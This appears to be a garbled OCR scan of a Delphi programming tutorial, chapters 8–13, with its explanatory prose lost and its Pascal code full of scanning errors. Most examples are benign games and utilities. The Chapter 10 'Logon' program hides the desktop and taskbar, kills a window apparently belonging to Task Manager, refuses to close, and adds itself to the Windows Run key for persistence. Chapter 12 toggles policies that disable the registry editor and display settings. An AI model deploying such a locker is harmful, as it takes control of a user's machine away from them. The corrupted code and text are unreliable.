Forml.Left : = Random(Screen.Width) + 1;
// ""
popad.Caption := IntToStr(StrToInt(popad.Caption) + 1 ) ;
// 100
TimerI.Interval := Timerl.Interval - 100;
end;
if popad.Caption = '10' then
begin // 10
Timerl.Enabled := False; //
Forml.Position := poDesktopCenter; //-
//
ShowMessage(' 10 !');
if Application.MessageBox('', ' ?',
mb_yesno + mb_taskmodal +
mb_iconQuestion) = idYes
then { }
begin
popad.Caption := '0'; //
//
forma := CreateEllipticRgn(0, 0,
Forml.Width, Forml.Height);
SetWindowRgn(Handle, forma, True);
//
64
" "
.
. - ;
:.
8.1.
Timerl Interval : - 1000;
Timerl Enabled : = True; //
end
else Halt; //
end;
end;
end.
- C h a p t e r 08.
65
" "
, .
.
Delphi Caption () . .
. Label ()
Standard Edit ( ) . . 9.1.
9.1.
Labell
Label2
Label3
Caption
Font.Style
Left
Top
Caption
Font.Style
[fsBold]
Left
Top
Caption
Font.Style
Left
Top
5 5-1212
:
[fsBold]
8
16
104
16
[fsBold]
216
16
66
" "
9.1.
Editl
Name
start
Text
Left
128
Edit2
Top
Width
57
Name
finish
Text
1000
Left
256
Top
Width
57
Label, p l l ( Name), Caption :. pi 1
Edit, Name c h l ,
T e x t 0. c h l Label. znakl Caption.
p l l , c h l znakl , 12, ch2 znak2 . 12 .Caption :, ch2.Text 0, znak2 .Caption
. ,
.
Enabled 2 12 False.
znakl znak2
Label . 9.2.
9.2. L a b e l
Name
Caption
Font.Color
clRed
Font.Name
C o u r i e r New
Font.Size
36
67
9.2.
Font.Style
[fsBold]
Height
54
Checkbox ()
Standard. Name comp, a
Caption ( , Checked False).
( Button Standard), Caption
. . 9.1.
.
:
1000
: \"
X
|
; ; ; 1;
, ,
var
Forml: TForml;
num, j, i, kolvo, big, small: integer;
maximum, minimum: array [1..100] of integer; {
}
num , kolvo , , b i g ,
small .
68 " "
,
.
min , max .
:
type
TForml - class(TForm)
private
{ Private declarations )
procedure min () ;
procedure max () ;
public
( Public ieclarations }
end;
implementation:
//
procedure TForml.min();
begin
for i: =1 to kolvo do begin
for j:=1 to kolvo do begin
( ,
}
if minimum[j] > small then small := minimum[j];
end;
end;
end;
//
procedure Tforml.max();
var temp: integer;
begin
temp := StrTolnt(finish.Text);
for i:=1 to kolvo do begin
for j:=1 to kolvo do begin
if temp > maximum[j] then
if maximumtj] > 0 then temp:=maximum[j]; (
...}
end;
end;
if ( (temp <> 0) and (temp <> StrTolnt(finish.Text)) ) then
{... ,
}
big := temp;
end;
69
,
:
procedure TForml.FormCreate(Sender: TObject);
begin
Randomize; //
//
num := Random(StrToInt(finish.Text) StrToInt(start.Text)) + StrToInt(start.Text);
kolvo := 0; //
big := StrToInt(finish.Text); //
small := StrToInt(start.Text); //
end;
,
,
. .
. OnClick:
procedure TForml.Button2Click(Sender: TObject);
begin
//
kolvo := kolvo + 1;
if not .Checked then //
begin
if pll.Enabled then begin //
// , >
if StrToInt(chl.Text) > num then znakl.Caption := '>';
// , <
if StrToInt(chl.Text) < nun then znakl.Caption : '<';
if StrToInt(chl.Text) num then //
begin
znakl.Caption := '='; // "="
// "X"
.Caption := IntToStr(num);
//
ShowMessage(' !' + #13#10 +
' ' + IntToStr(kolvo) +
' ')
end;
//
pll.Enabled := False;
chl.Enabled := False;
ch2.Enabled := True;
pl2.Enabled := True;
Exit; //
70
" "
end;
if pl2.Enabled then begin //
{
}
if StrToInt(ch2.Text) > then znak2.Caption := '>';
if StrToInt(ch2.Text) < num then znak2.Caption := '<';
if StrToInt(ch2.Text) = num then
begin
znak2.Caption := ' =' ;
x.Caption := IntToStr(num);
ShowMessage(' !1 + #13#10 +
' ' + IntToStr(kolvo) +
1
')
end;
end;
//
12.Enabled := False;
ch2.Enabled := False;
chl.Enabled := True;
pll.Enabled := True;
Expend;
if comp.Checked then begin //
{
}
if StrToInt(chl.Text) > num then znakl.Caption := '>';
if StrToInt(chl.Text) < num then znakl.Caption := '<';
if StrToInt(chl.Text) = num then
begin
znakl.Caption := '=';
x.Caption := IntToStr(num);
ShowMessage(' !' + #13#10 +
' ' + IntToStr(kolvo) +
' ');
Exit;
end;
// }
if znakl.Caption = '>' then
begin
maximum[kolvo] := StrToInt(chl.Text); {
}
max(); //
end;
// )
if znakl.Caption = '<' then begin
minimum[kolvo] := StrToInt(chl.Text); {
, }
71
min(); //
end;
// ,
ch2.Text := IntToStr(Random(big - small) + small);
end;
//
if StrToInt(ch2.Text) > num then znak2.Caption := '>';
if StrToInt(ch2.Text) < num then znak2.Caption := '<';
if StrToInt(ch2.Text) = num then begin
znak2.Caption := '=';
x.Caption := IntToStr(num);
ShowMessage(' !' + #13#10 +
' !' + #13#10 +
' ' + IntToStr(kolvo) +
1
');
end;
end;
,
: .
, :
. ,
, . .
, , , , . -
, kolvo,
, , .
,
. ,
. , , , , . ,
.
.
, .
.
72
" "
. ,
.
" " " ",
Onclick :
procedure TForml.compClick(Sender: TObject);
begin
if comp.Checked then begin //
//
ch2.Enabled := False;
12.Enabled := False;
//
chl.Enabled := True;
pll.Enabled := Truerend
else begin
// ,
//
ch2.Enabled := True;
12.Enabled := True;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
if ((StrToInt(finish.Text) > StrToInt(start.Text)) and
(StrToInt(start.Text) > 0) and
(StrToInt(finish.Text) < 60000))
then (,
}
{ }
num := Random(StrToInt(finish.Text) StrToInt(start.Text)) +
StrToInt(start.Text)
else ShowMessage(' !');
// ,
znakl.Caption := ';
_
znak2 . Caption : = ' ' ;
chl.Enabled : True;
ch2.Enabled := False;
pll.Enabled := True;
pl2.Enabled := False;
x.Caption : 'X';
chl.Text : '0';
ch2.Text := '0';
73
//
for i:=1 to kolvo+1 do
begin
minimum[i] := 0;
maximum[i] := 0;
big := StrToInt(finish.Text); //
small := StrToInt(start.Text); //
end;
kolvo := 0; //
I
end;
,
, ,
. , 60000.
, .
.
.
. 9.2.
[.
:
300
: ]320
: |303
320
jv
| !
" " 9.1.
74
" "
75
9.1.
_ _ _ _ _ _
//
procedure TForml.min();
begin
for i:=l to kolvo do begin
for j:=l to kolvo do begin
{ ,
}
if minimum[j] > small then small := minimum[j];
end;
end;
end;
//
procedure Tforml.max();
var
temp: integer;
begin
temp := StrToInt(finish.Text);
for i:=l to kolvo do begin
for j:=l to kolvo do begin
if temp > maximumfj] then
if maximum[j] > 0 then temp:=maximum[j]; {
...}
end;
end;
if ( (temp <> 0) and (temp <> StrToInt(finish.Text)) ) then
{... ,
}
big := temp;
end;
procedure TForml.FormCreate(Sender: TObject);
begin
Randomize; //
//
num := Random (StrToInt(finish.Text) StrToInt (start.Text)) + StrToInt(start.Text);
kolvo := 0; //
big := StrToInt(finish.Text); //
small := StrToInt(start.Text); //
end;
procedure TForml.compClick(Sender: TObject);
begin
76
" "
9.1.
if .Checked then begin //
//
ch2.Enabled := False;
12.Enabled := False;
//
chl.Enabled := True;
pll. Enabled := True;
end
else begin
// ,
//
ch2 .Enabled : True;
12.Enabled := True;
end;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
if ((StrToInt(finish.Text) > StrToInt(start.Text)) and
(StrToInt(start.Text) > 0) and
(StrToInt(finish.Text) < 60000))
then (,
}
( }
num :<= Random(StrToInt(finish.Text) StrToInt(start.Text)) +
StrToInt(start.Text)
else ShowMessage(' !');
// ,
znakl.Caption : '';
znak2.Caption := '';
chl.Enabled := True;
ch2.Enabled := False;
pll.Enabled := True;
pl2.Enabled := False;
x.Caption := 'X';
chl.Text !- '0';
ch2.Text :- '0';
/ /
for i:=l to kolvo+1 do
begin
minimum!i] := 0;
maximum[i) := 0;
big := StrToInt(finish.Text); //
small : StrToInt(start.Text); //
77
9.1.
end;
kolvo := 0; //
end;
procedure TForml.Button2Click(Sender: TObject);
begin
//
kolvo := kolvo + 1;
if not .Checked then //
begin
if pll.Enabled then begin //
// , >
if StrToInt(chl.Text) > num then znakl.Caption !* '>';
// , <
if StrToInt(chl.Text) < num then znakl.Caption : = '<';
if StrToInt(chl.Text) = num then //
begin
znakl.Caption := ' = '; // "="
// "X"
.Caption ! IntToStr(num);
//
ShowMessage(' !' + #13#10 +
' ' + IntToStr(kolvo) +
' ')
end;
//
pll.Enabled := False;
chl.Enabled := False;
ch2.Enabled := True;
pl2.Enabled := True;
Exit; //
end;
if pl2.Enabled then begin //
(
}
if StrToInt (ch2.Text) > num then znak2.Caption := ' >' ;
if StrToInt (ch2.Text) < num then znak2.Caption :- '<';
if StrToInt(ch2.Text) - num then
begin
znak2.Caption := '=';
x.Caption := IntToStr(num);
ShowMessage(' !' + #13#10 +
' ' + IntToStr(kolvo) +
' ')
end;
end;
78
" "
9.1.
//
12.Enabled u= False;
ch2.Enabled := False;
chl.Enabled := True;
pll.Enabled := True;
Exit;
end;
if .Checked then begin //
{
}
if StrToInt(chl.Text) > num then znakl.Caption : = '>';
if StrToInt(chl.Text) < num then znakl.Caption := ' < ' ;
if StrToInt(chl.Text) = num then
begin
znakl.Caption := ' = ';
x.Caption := IntToStr(num);
ShowMessage(' !1 + #13#10 +
' ' + IntToStr(kolvo) +
' ');
Exi trend;
// }
if znakl.Caption = >' then
begin
maximum[kolvo] := StrToInt(chl.Text); {
}
max(); //
end;
// }
if znakl.Caption = '<' then begin
minimum[kolvo] := StrToInt(chl.Text); {
, }
min (); //
end;
// ,
ch2.Text := IntToStr(Random(big - small) + small);
end;
//
if StrToInt(ch2.Text) > num then znak2.Caption := '>';
if StrToInt(ch2.Text) < num then znak2.Caption := '<';
if StrToInt(ch2.Text) = num then begin
znak2.Caption := '=';
x.Caption := IntToStr(num);
ShowMessage(' !' + #13#10 +
' !' + #13#10 +
79
9.1.
1
' + IntToStr(kolvo) +
' ');
end;
end;
end.
- C h a p t e r 0 9.
so
10
, . ,
. ,
. ,
.
Delphi
. 10.1.
10.1.
Caption
Align
alCustom
BorderStyle
bsNone
FormStyle
fsStayOnTop
Position
poDesktopCenter
Height
130
Width
130
Caption
Logon
Font.Color
clNavy
Font.Size
20
Font.Style
[fsBold]
81
10.2.
Left
16
0
. 10.1.
, :
type
TForml = class(TForm)
private
{ Private declarations }
hi: HWND; //,
procedure logon(); // ,
6 5-I2I2
82
//
procedure check(); //
public
{ Public declarations }
end;
implementation . check:
procedure TForml.check() ;
begin
if pass.Text = 'password1 then //
begin
//
hi := FindWindow('Progman', nil);
//
ShowWindow(hi, sw_show);
//
hi := FindWindow('Shell_traywnd', nil);
//
ShowWindow(hi, sw_show);
halt; //
end // ,
else ShowMessage('Wrong password!');
end;
check .
"password". pass , .
, .
, .
logon:
procedure TForml.logon();
begin
//
hi := FindWindow('Progman', nil);
ShowWindow(hi, sw_hide); //
//
hi := FindWindow('Shell_traywnd', nil);
ShowWindow(hi, sw_hide); //
{, }
hi := FindWindow(nil, ' Windows');
( , }
if (hi 0) then PostMessage(hi, WM_QUIT, 1, 0 ) ;
end;
83
, ,
. ,
.
check logon. Enter procedure TForml.ButtonlClick(Sender: TObject);
begin
check;
end;
, p a s s <ter>. p a s s . ss:
procedure TForml.passKeyPress(Sender: TObject; var Key:Char);
begin
if key = #13 then // <Enter>
check; // check
end;
#13 <Enter>.
TV.
OnTimer logon:
procedure TForml.TimerlTimer(Sender: TObject);
begin
logon;
end;
( I n t e r v a l 1000) OnTimer :
procedure TForml.Timer2Timer(Sender: TObject);
begin
hi := FindWindow('Progman', nil); //
ShowWindow(hi, sw_hide); //
CloseWindow(hi); //
pass.SetFocus; //
end;
, .
, , , , , 6*
84
, <Alt+F4>.
,
OnCloseQuery :
procedure TForml.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
CanClose := False;
end;
, , - , .
uses R e g i s t r y , QnCreate:
procedure TForml.FormCreate(Sender; TObject);
var
Reg: TRegistry; //
begin
Reg ! TRegistry.Create;
Reg.RootKey :=> HKEY_CURRENT_USER; //
//
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
true);//
//
Reg.WriteString('Logon', Application.ExaName);
Reg.CloseKey; //
Reg.Free; //
end;
.
. 10.2.
. 10.2.
85
10.1.
10.1.
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry;
type
TForml class(TForm)
pass: TEdit;
Labell: TLabel;
Timerl: TTimer;
Buttonl: TButton;
Timer2: TTimer;
procedure ButtonlClick(Sender: TObject);
procedure passKeyPress(Sender: TObject; var Key: Char);
procedure FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
procedure FormCreate(Sender: TObject);
procedure TimerITimer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
. { Private declarations }
hi: HWND; //,
procedure logon(); // ,
//
procedure check(); //
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
86
410.1.
procedure TForml.check();
begin
if pass.Text = 'password' then //
begin
//
hi := FindWindow('Progman', nil);
//
ShowWindow(hi, sw_show);
//
hi := FindWindow('Shell_traywnd', nil);
//
ShowWindow(hi, sw_show);
halt; //
end // ,
else ShowMessage('Wrong password!');
end;
procedure TForml.logon() ;
begin
//
hi := FindWindow('Progman', nil);
ShowWindow(hi, sw_hide); //
//
hi := FindWindow('Shell^traywnd', nil);
ShowWindow(hi, sw_hide); //
{, }
hi := FindWindow(nil, ' Windows');
{ , }
if (hi 0) then PostMessage(hi, WM_QUIT, 1, 0 ) ;
end;
procedure TForml.TimerlTimer(Sender: TObject);
begin
logon;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
check;
end;
procedure TForml.passKeyPress(Sender: TObject; var Key:Char)
begin
if key=#13 then // <Enter>
check; // check
87
10.1.
[ end;
procedure TForml.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
CanClose := False;
end;
procedure TForml.FormCreate(Sender: TObject);
var
Reg: TRegistry; //
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER; //
//
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
true);//
//
Reg.WriteString('Logon' , Application.ExeName);
Reg.CloseKey; //
Reg.Free; //
end;
procedure TForml.Timer2Timer(Sender: TObject);
begin
hi := FindWindow('Progman', nil); //
ShowWindow(hi, sw_hide); //
CloseWindow(hi); //
pass.SetFocus; //
end;
end.
- C h a p t e r _ 1 0 .
88
1 1
, , .
Delphi Caption Memory Info.
Label Standard.
, Left
230, Caption 0.
Label, , . Caption
(
):
:,
:, :, :.
:, swap: swap:.
Gauge Samples.
Kind gkVerticalBar, Gauge . P r o g r e s s
.
.
Timer System. , SpinEdit Samples.
MaxValue 60, a MinValue * 1. 1 60 .
89
SpinEdit
:, .
( Button Standard) Caption .
SpinEdit .
. 11.1.
Memory info
^ :
iBcero :
;: : :
iiiBcero :
:! :
: swap: i
::: Swap: :;
; : -:
- ;
. 11.1.
: - -
Timerl. OnTimer, ; OnClick .
Timer l .
procedure TForml.TimerITimer(Sender: TObject);
var
mem: TMemoryStatus; //
begin
mem.dwLength := SizeOf(mem); //
GlobalMemoryStatus(mem); //
//
90
, SpinEdit
, SpinEdit .Value 1000.
. 11.2.
11.1.
91
Memory info
:
:
:
:
:
swap:
swap:
:
"|
. 11.2.
11.1. Memory info
unit Unitl
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms,
Dialoqs, StdCtrls, Gauges, ExtCtrls, Spin;
type
TForml = class(TForm)
Labell TLabel;
Label2 TLabel;
Label3 TLabel;
Label4 TLabel;
Label5 TLabel;
Label6 TLabel;
Label7 TLabel;
Gaugel TGauge;
Timerl TTimer;
Label8 TLabel;
Label9 TLabel;
LabellO: TLabel;
Labelll: TLabel;
Labell2: TLabel;
Labell3: TLabel;
92
11.1.
Labell4: TLabel;
SpinEditl: TSpinEdit;
Labell5: TLabel;
Labell6: TLabel;
Buttonl: TButton;
procedure TimerlTimer(Sender: TObject);
procedure ButtonlClick(Sender: TObject);
private
( Private declarations )
public
{ Public declarations )
end;
var
Forml: TForml;
implementation
{$R *.dfm}
procedure TForml.TimerlTimer(Sender: TObject);
var
mem: TMemoryStatus; //
begin
mem.dwLength : = SizeOf(mem); //
GlobalMemoryStatus(mem); //
//
with mem do begin
//
Labell.Caption := IntToStr(dwMemoryLoad) + ' %';
Label2.Caption := IntToStr((dwTotalPhys) div 1024) +
' '; //
Label3.Caption : = IntToStr ((dwAvailPhys) div 1024) +
' '; //
Label4.Caption := IntToStr((dwTotalPageFile) div 1024) +
' '; //
Label5.Caption :- IntToStr((dwAvailPageFile) div 1024) +
1
'; //
Label6.Caption := IntToStr((dwTotalVirtual) div 1024) +
1
' ; // swap
Label7.Caption := IntToStr((dwAvailVirtual) div 1024) +
1
'; // swap
Gaugel.MaxValue := dwTotalPhys; //
//
Gaugel.Progress := dwTotalPhys - dwAvailPhys;
93
11.1.
;
procedure TForml.ButtonlClick(Sender: TObject);
begin
//
Timerl.Interval : = SpinEditl.Value*1000;
end;
end.
- C h a p t e r _ l l .
94
Windows
12
Windows
, Windows .
Windows , "" , . , Windows XP ,
" ", CD-ROM . , - . ,
, .
""
Windows. , , .
Windows .
Delphi. Caption windows.
GroupBox Standard Caption . GroupBox
CheckBox Standard
Caption : CD-ROM,
.
( Button Standard),
Caption .
. 12.1.
95
Win
-[.1..X.I
" CD-ROM
| "
[ "
. 12.1. Windows
:
. , .
.
uses R e g i s t r y
.
reg TRegistry, :
var
Forml: TForml;
reg: TRegistry;
OnCreate:
procedure TForml.FormCreate(Sender: TObject);
begin
reg := TRegistry.Create; //
//
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
False); //
if reg.ValueExists('Autorun1) then //
if reg.Readlnteger('Autorun') = 1 // 1,
then //
CheckBoxl.Checked := True;
reg.CloseKey; //
//
96
Windows
// " ":
reg := TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +
1
Policies\System', False);
if reg.ValueExists('NoDispCPL') then
if reg.Readlnteger('NoDispCPL') = 1
then CheckBox2.Checked i= True;
reg.CloseKey;
// " ":
reg := TRegistry.Create;
reg.RootKey : = HKEY_CURRENT_USER;
reg.OpenKey ('Software\Microsoft\Windows\CurrentVersion\'
1
Policies\System', False);
if reg.ValueExists('DisableRegistryTools') then
if reg.Readlnteger('DisableRegistryTools') = 1
then CheckBox3.Checked := True;
reg.CloseKey;
end;
, . ,
.
OnClick :
procedure TForml.ButtonlClick(Sender: TObject);
begin
if CheckBoxl.Checked then
begin //
reg := TRegistry.Create; //
//
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True); //
//
reg.Writelnteger('Autorun', 1 ) ;
reg.CloseKey;
end else begin //...
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True);
//...
reg.Writelnteger('Autorun1, 0) ;
reg.CloseKey;
end;
L
97
//
// " ":
if CheckBox2.Checked then
begin
reg := TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//
reg.Writelnteger('NoDispCPL', 1 ) ;
reg.CloseKey;
end else begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//
reg.Writelnteger('NoDispCPL', 0) ;
reg.CloseKey;
end;
// " ":
if CheckBox3.Checked then
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//
reg.Writelnteger('DisableRegistryTools', 1 ) ;
reg.CloseKey;
end else begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ TPolicies\System', True);
//
reg.Writelnteger('DisableRegistryTools', 0 ) ;
reg.CloseKey;
end;
end;
. , , , - -
.
7 5-1.212
98
Windows
. , ,
. , , > , r e g e d i t .
" "
(. 12.2), , .
. 12.2. Windows
Windows,
.
. , .
Windows
12.1.
12.1. Windows
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms,
Dialogs, StdCtrls, Registry;
type
TForml = class(TForm)
Buttonl: TButton;
GroupBoxl: TGroupBox;
99
12.1.
CheckBoxl: TCheckBox;
CheckBox2: TCheckBox;
CheckBox3: TCheckBox;
procedure ButtonlClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
reg: Tregistry;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);
begin
if CheckBoxl.Checked then
begin //
reg := TRegistry.Create; //
//
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True); //
//
reg.Writelnteger('Autorun' , 1 ) ;
reg.CloseKey;
end else begin //...
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
True);
//. . .
reg.Writelnteger('Autorun1, 0 ) ;
reg.CloseKey;
end;
//
// " ":
if CheckBox2.Checked then
begin
reg := TRegistry.Create;
7*
100
Windows
12.1.
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//
reg.Writelnteger('NoDispCPL', 1 ) ;
reg.CloseKey;
end else begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('SoftwareXMicrosoft\Windows\CurrentVersion\'
+ 'PoliciesNSystem', True);
//
reg.Writelnteger('NoDispCPL1 , 0) ;
reg.CloseKey;
end;
// " ":
if .Checked then
begin
reg : TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'Policies\System', True);
//
reg.Writelnteger('DisableRegistryTools', 1 ) ;
reg.CloseKey;
end else begin
reg : = TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\'
+ 'PoliciesXSystem', True);
//
reg.Writelnteger('DisableRegistryTools', 0 ) ;
reg.CloseKey;
end;
end;
procedure TForml.FormCreate(Sender: TObject);
begin
reg := TRegistry.Create; //
//
reg.RootKey := HKEY_CURRENTJJSER;
reg.OpenKey('SYSTEM\CurrentControlSet\Services\Cdrom',
False); //
if reg.ValueExists('Autorun') then //
101
12.1.
if teg.Readlnteger('Autorun') = 1 // 1,
then //
CheckBoxl.Checked := True;
reg.CloseKey; //
//
// " ":
reg := TRegistry.Create;
reg.RootKey:=HKEY_CURRENTJJSER;
reg. OpenKey ( ' Sof tware\Microsoft\-Windows\CurrentVersion\ ' +
1
PoliciesXSystem', False);
if reg.ValueExists('NoDispCPL') then
if reg.Readlnteger('NoDispCPL1) = 1
then CheckBox2.Checked := True;
reg.CloseKey;
// " ":
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\' +
'PoliciesXSystem', False);
if reg.ValueExists('DisableRegistryTools') then
if reg.Readlnteger('DisableRegistryTools') = 1
then CheckBox3.Checked := True;
reg.CloseKey;
end;
end.
- C h a p t e r 12.
102
13
.
, . ,
.
, .
, .
, ,
. ini- :
[num]
=
[Q]
0=
1=
[]
=0
1=0
[W1]
=
1=
[W2]
=
1=
103
[W3]
=
1=
Delphi. Caption T e s t e r , BorderStyle bsNone.
Label Standard,
Caption :.
Memo Standard,
.
Memol .Readonly True,
.
.
Memol RadioGroup ( ) Standard Caption
:. RadioGroupl
RadioButton () Standard. Caption, Name
a n l , 2, 4 .
Label, . .
. 13.1.
104
13.1. L a b e l ,
Alignment
Color
Font.Color
Font.Name
Font.Size
Font.Style
Visible
taCenter
clBlack
clRed
Arial
26
[fsBold]
False
.
Panel Standard. Capt i o n >>>>>, Color
clMaroon, Font. Color clWhite.
( Name) pi, 2, , 4 5. ,
Bevellnner bvRaised, BevelOuter
bvLowered. , pi, V i s i b l e
F a l s e ( ).
/,
. OpenDialog Dialogs Openl ( Name).
, F i l t e r : i n i | * . i n i | |*.*.
.
;
|
MainMenu Standard
. 13.1.
6, " ".
. 13.2.
:::
. 13.1. -
]fo Tester
105
;<::
. :
\
:
"
. 13.2. -
, :
var
Forml: TForml;
i, a, n, balls, vopr: integer; {
}
dir, dir2, ss, zz, yes: string; ( ,
}
win: TIniFile; // ini-
mass: array[1..100] of integer; {
, }
f1, f2: file of char; //
: char; //
uses IniFiles, T I n i F i l e .
. :
type
TForml = class(TForm)
private
106
{ Private
procedure
procedure
procedure
declarations }
start; //
question_select; //
vars(var variant: integer); {
}
procedure verno(); {:
}
public
Public declarations }
end;
107
Write(f2, ); //
end;
CloseFile (f1) ; //
CloseFile(f2); //
{$1+} // /
Win := TIniFile.Create(dir2); // ini-
//
ss := Win.ReadString('num', 'num', ss);
//
n := StrToInt(ss);
vopr := Random(4) + 1; // 1 4
vars(vopr); { vars,
}
end;
. , .
, ,
.
.
ini-. , , .
^ q u e s t i o n s e l e c t :
procedure TForml.question_select() ;
label ran; // ran
begin
Randomize;
ran:
a := Random(n); //
//:
for i:=1 to n do
if mass[i] = a then goto ran;
for i:=1 to n do
if mass[i] = 0 then
begin
mass[i] := ; { ,
}
Break;
end;
//
anl.Checked := False;
an2.Checked := False;
.Checked := False;
an4.Checked := False;
end;
108
. : . , , , .
procedure TForml.verno();
begin
if anl.Checked then
if yes = anl.Caption then
if an2.Checked then
if yes = an2.Caption then
if an3.Checked then
if yes = an3.Caption then
if an4.Checked then
if yes = an4.Caption then
end;
balls : = balls +
if
balls : = balls + 1;
balls : balls + 1;
balls := balls + 1;
,
, .
procedure TForml.vars(var variant: integer);
begin
//
question_select();
case variant of
1: begin
Win := TIniFile.Create(dir2); // ini-
//
Memol.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);
//
anl.Caption :=
Win.ReadString('A', IntToStr(a), anl.Caption);
//
an2.Caption :=
Win.ReadString('Wl', IntToStr(a), an2.Caption);
an3.Caption :=
Win.ReadString(W2', IntToStr(a), an3.Caption);
an4.Caption :=
Win.ReadString('W3', IntToStr(a), an4.Caption);
Win.Free; // ini-
//
yes := anl.Caption;
end;
2 : begin
109
Win := TIniFile.Create(dir2);
Memo1.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);
an2.Caption :=
Win.Readstring('A', IntToStr(a), an2.Caption);
anl.Caption :=
Win.Readstring('Wl' , IntToStr(a), anl.Caption);
an3.Caption :=
Win.ReadString(W2' , IntToStr(a), an3.Caption);
an4.Caption :=
Win.ReadString(W3' , IntToStr(a), an4.Caption);
Win.Free;
yes := an2.Caption;
end;
3: begin
Win := TIniFile.Create(dir2);
Memol.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);
an3.Caption :=
Wxn.ReadString('A', IntToStr(a), an3.Caption);
an2.Caption :=
Win.ReadString('Wl1 , IntToStr(a), an2.Caption);
anl.Caption :=
Win.ReadString( 'W2' , IntToStr(a), anl.Caption);
an4.Caption :=
Win.ReadString('W3 , IntToStr(a), an4.Caption);
Win.Free ;
yes := an3.Caption;
end;
4: begin
Win := TIniFile.Create(dir2);
Memol.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);
an4.Caption :=
Win.ReadString('A', IntToStr(a), an4.Caption);
an2.Caption :=
Win.ReadString('Wl1 , IntToStr(a), an2.Caption);
an3.Caption :=
Win.ReadString('W2' , IntToStr(a), an3.Caption);
anl.Caption :=
Win.ReadString('W3' , IntToStr(a), anl.Caption);
Win.Free;
yes := an4.Caption;
end;
end;
end;
. : .
.
.
procedure TForml.FormCreate(Sender: TObject);
begin
Randomize;
// ,
dir := GetCurrentDir;
ss := dir + '\comp.ini'; //
zz := ss;
start(); //
end;
eT
522Ei? JL JIE!L5
OnDestroy
r *--'".', '""''
. OnClick
- :
'
,
.
OnClick -
:
procedure TForml.N2Click(Sender: TObject);
begin
Randomize;
//
Openl.InitialDir := GetCurrentDir;
if not Openl.Execute
then ShowMessage(' !')
else begin
ss := Openl.FileName; //
111
zz := ss; //
start(); //
end;
end;
ini- , . ,
s t a r t , , .
OnClick rryHKTajwej4ro_Jrfrpa *_:
procedure TForml.N4Click(Sender: TObject);
begin
Halt; //
end;
p i :
procedure TForml.plClick(Sender: TObject);
begin
Label1.Caption := ' :';
verno(); //
pi.Visible := False; //
2.Visible := True; //
vopr := Random(4) + 1; //
vars(vopr); //
end;
" :",
, ,
verno. :
. vars,
.
procedure TForml.p2Click(Sender: TObject);
begin
Label1.Caption := ' :';
verno();
p2.Visible := False;
p3.Visible := True;
vopr := Random(4) + 1;
vars(vopr);
end;
, pi,
" ", "" .
112
OnClick
^:
procedure TForml .p3Click(Sender: TObject);
begin
Labell.Caption := ' :';
verno();
p3.Visible := False;
p4.Visible := True ;
vopr : Random(4) + 1;
vars(vopr);
end;
procedure TForml .p4Click(Sender: TObject);
begin
Labell.Caption := ' :';
verno();
p4.Visible := False;
p5.Visible := True;
vopr := Random(4) + 1;
vars(vopr);
end;
() OnClick
procedure TForml.p5Click(Sender: TObject);
begin
//
verno();
//,
ss := IntToStr(balls);
//
Memol.Visible := False;
5.Visible := False;
RadioGroupl.Visible := False;
Labell.Visible := False;
anl.Visible := False;
an2.Visible := False;
an3.Visible := False;
an4.Visible := False;
Label2.Visible := True; //
Label2.Align := alClient; //
//
Label2.Caption := ' ' +
